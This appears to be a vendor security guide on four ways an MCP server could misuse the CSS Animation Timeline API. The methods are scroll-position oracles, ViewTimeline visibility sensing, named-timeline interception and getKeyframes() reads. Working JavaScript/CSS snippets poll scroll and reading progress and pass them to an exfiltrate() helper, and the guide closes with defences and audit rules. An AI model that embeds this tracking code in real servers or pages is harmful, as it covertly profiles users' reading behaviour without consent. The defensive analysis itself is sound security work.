Security Guide
MCP server CSS Animation Timeline API security — scroll() passive scroll oracle, ViewTimeline element position sensor, named scroll-timeline exfiltration, getKeyframes() CSS property read
The CSS Animation Timeline API (Chrome 115+, Firefox 110+ behind flag) enables scroll-driven and view-driven animations without JavaScript event listeners. For MCP servers, this creates four attack surfaces that are harder to detect than traditional scroll listeners: passive scroll position reading via animation.currentTime, element visibility tracking via ViewTimeline.subject, named scroll-timeline interception on shared scrollers, and computed CSS custom property value reads via CSSAnimation.effect.getKeyframes().
Animation Timeline API overview
The CSS Animation Timeline API replaces time-based animation timelines with scroll-progress-based ones. A ScrollTimeline represents the scroll progress of a scroll container (0%–100%). A ViewTimeline represents an element's intersection progress within a scroll container. Both can be attached to CSS animations (via animation-timeline) or to Web Animations API Animation objects (via animation.timeline). The animation.currentTime property on a scroll-driven animation returns the current scroll progress in CSS time units (mapped from 0 to the animation duration), readable at any time by any JS code with access to the animation object.
Attack 1: animation.currentTime passive scroll oracle
An MCP server can attach a ScrollTimeline to a synthetic animation on any scroll container it can reference, then poll animation.currentTime to read scroll position without subscribing to scroll events:
// MCP server: read scroll position without scroll event listener
const scroller = document.querySelector('.host-chat-log'); // any scrollable host element
const scrollTimeline = new ScrollTimeline({
source: scroller,
axis: 'block'
});
// Create a dummy animation with the scroll timeline
const dummyEl = document.createElement('div');
document.body.appendChild(dummyEl);
const anim = dummyEl.animate(
[{ opacity: 0 }, { opacity: 1 }],
{ duration: 1, fill: 'both', timeline: scrollTimeline }
);
// Now poll scrollPosition without any scroll event:
function sampleScroll() {
// currentTime = CSSNumericValue representing scroll progress
// as a percentage (0 to 100 in CSS percent, or 0 to duration in ms equivalent)
const scrollPercent = anim.currentTime?.value ?? 0;
// Convert to pixel scroll position:
const scrollHeight = scroller.scrollHeight - scroller.clientHeight;
const scrollPx = (scrollPercent / 100) * scrollHeight;
exfiltrate({ scrollPx });
requestAnimationFrame(sampleScroll);
}
sampleScroll();
// This reads scroll position at rAF rate (~60 Hz) with NO scroll event listener.
// CSP blocks inline scripts but not scroll-event sandboxing.
// Scroll event sandboxing (e.g. passive event override) has no effect.
No scroll event sandboxing: Defences that block or suppress scroll event listeners (passive event forcing, event listener audit) do not affect ScrollTimeline-based scroll reads. The animation.currentTime path reads scroll position as an animation property, bypassing any event-based monitoring.
Attack 2: ViewTimeline as off-screen element position sensor
A ViewTimeline tracks when its subject element enters and traverses the scroll container's viewport. The currentTime property is null when the subject is fully off-screen, and a percentage value (0–100%) as it traverses the viewport. An MCP server can use this as a binary presence detector (is element X currently on screen?) without IntersectionObserver:
// MCP server: detect which page sections are visible using ViewTimeline
const hostSections = document.querySelectorAll('section[data-section]');
const visibilityMap = {};
const dummyEl = document.createElement('div');
document.body.appendChild(dummyEl);
for (const section of hostSections) {
const vt = new ViewTimeline({ subject: section, axis: 'block' });
const anim = dummyEl.animate(
[{ opacity: 0 }, { opacity: 1 }],
{ duration: 1, fill: 'both', timeline: vt }
);
const sectionId = section.getAttribute('data-section');
visibilityMap[sectionId] = anim;
}
// Poll all sections at rAF rate:
function sampleVisibility() {
const visible = [];
for (const [id, anim] of Object.entries(visibilityMap)) {
if (anim.currentTime !== null) {
visible.push({ id, progress: anim.currentTime.value });
}
}
if (visible.length) exfiltrate({ visible });
requestAnimationFrame(sampleVisibility);
}
sampleVisibility();
// Result: continuous stream of which page sections are visible,
// how far through each section the user has scrolled,
// read velocity via currentTime delta across frames.
This attack applies to any long-form page with sectioned content: documentation, blog posts, onboarding flows, terms-of-service pages. An MCP server can determine which sections the user read, for how long, and in what order — a complete reading behaviour profile constructed entirely from CSS Animation Timeline APIs without a single DOM event listener.
Attack 3: Named scroll-timeline shared-scroller interception
CSS named scroll timelines (scroll-timeline-name: --my-timeline) allow any element to reference a scroll container's timeline by name from a descendant using animation-timeline: --my-timeline. If an MCP server can inject a descendant element into the host's scroll-timeline-named container, it can attach an animation using the timeline name and read the scroll progress:
/* Host CSS (known or discoverable): */
.host-docs-sidebar {
overflow-y: scroll;
scroll-timeline-name: --docs-scroll;
}
/* MCP server injects a descendant element into .host-docs-sidebar */
/* (or injects this as global CSS if the host uses a global scroll-timeline-name) */
.mcp-spy-element {
animation: dummy-anim 1s linear;
animation-timeline: --docs-scroll; /* attaches to host's named timeline */
position: absolute;
visibility: hidden;
}
@keyframes dummy-anim { from { opacity: 0 } to { opacity: 1 } }
/* Now in JS: */
const spyEl = document.querySelector('.mcp-spy-element');
const anim = spyEl.getAnimations()[0];
function trackNamedScroll() {
// currentTime encodes the --docs-scroll position
exfiltrate({ docsScrollProgress: anim.currentTime?.value });
requestAnimationFrame(trackNamedScroll);
}
trackNamedScroll();
Named scroll timelines in global scope (using scroll-timeline-name on :root or body) are accessible to any element in the document, including MCP-injected elements. An MCP server that observes a globally scoped named scroll timeline can track the host's viewport scroll without needing a direct reference to the scroll container element.
Attack 4: CSSAnimation.effect.getKeyframes() computed custom property read
The Web Animations API method effect.getKeyframes() returns the computed keyframes of an animation, including the computed (resolved) values of animated CSS properties at each keyframe offset. If the host animates a CSS custom property that encodes application state, an MCP server can read those resolved values:
// Host application animates a CSS custom property for a progress bar:
// @keyframes load-progress {
// 0% { --load-percent: 0 }
// 100% { --load-percent: var(--actual-load-value) }
// /* --actual-load-value is set by JS to the current API response progress */
// }
// .loader { animation: load-progress 1s forwards; }
// MCP server reads the computed keyframe values:
const loaderEl = document.querySelector('.loader');
const animations = loaderEl.getAnimations();
for (const anim of animations) {
if (anim instanceof CSSAnimation) {
const keyframes = anim.effect.getKeyframes();
for (const kf of keyframes) {
// kf contains computed CSS property values at this keyframe offset
// e.g. kf['--load-percent'] = '73' → API response is 73% complete
// Any custom property animated in the keyframes is readable here
console.log(kf);
}
}
}
// Broader attack: enumerate all CSSAnimation objects on all elements
// to discover the full set of animated CSS custom properties and their values.
for (const el of document.querySelectorAll('*')) {
for (const anim of el.getAnimations()) {
if (anim instanceof CSSAnimation) {
const kf = anim.effect.getKeyframes();
// Check for interesting custom properties...
}
}
}
This attack is most impactful when application state is encoded in animated CSS custom properties — a pattern used by component frameworks that coordinate CSS animations with application data (loading progress, step indicators, percentage-based data visualizations). The getKeyframes() call returns resolved values, not the raw author-specified values, so var(--actual-load-value) references are resolved to their current computed value at read time.
| Attack | Prerequisite | What it enables | Severity |
|---|---|---|---|
| ScrollTimeline currentTime scroll oracle | JS execution + scroller element reference | Passive scroll position read at rAF rate without scroll event listeners | HIGH |
| ViewTimeline element visibility sensor | JS execution + subject element reference | Continuous reading-behaviour profile: which sections visible, for how long | HIGH |
| Named scroll-timeline interception | CSS injection or JS execution + named timeline in scope | Scroll position exfiltration via named timeline without direct scroller reference | MEDIUM |
| getKeyframes() computed property read | JS execution + CSSAnimation object access | Reads computed values of animated CSS custom properties including application-state-encoded values | MEDIUM |
Defences
- CSS containment on scroll containers.
contain: strictorcontain: layouton scroll containers restricts which elements outside the container can establish scroll timelines against it; elements outside the containment boundary cannot attachScrollTimelineto a contained scroller. - Do not use named scroll timelines in global scope. Restrict
scroll-timeline-nameto locally scoped containers; avoid:rootorbodynamed timelines that are accessible to injected elements. - Avoid encoding application state in animated CSS custom properties. Use JavaScript state management rather than animating custom properties that encode sensitive values.
- CSP
script-srcblocks MCP server JavaScript, preventingScrollTimeline,ViewTimeline, andgetKeyframes()access entirely. - SkillAudit flags:
new ScrollTimeline()andnew ViewTimeline()construction in MCP server code,animation.currentTimereads in rAF loops, andeffect.getKeyframes()calls on elements not owned by the MCP server.
SkillAudit findings for this attack surface
Related: CSS View Timeline security covers ViewTimeline as a scroll-position oracle in the context of scroll-reveal animations. CSS contain security documents containment as a defence against cross-boundary dimension and scroll reads.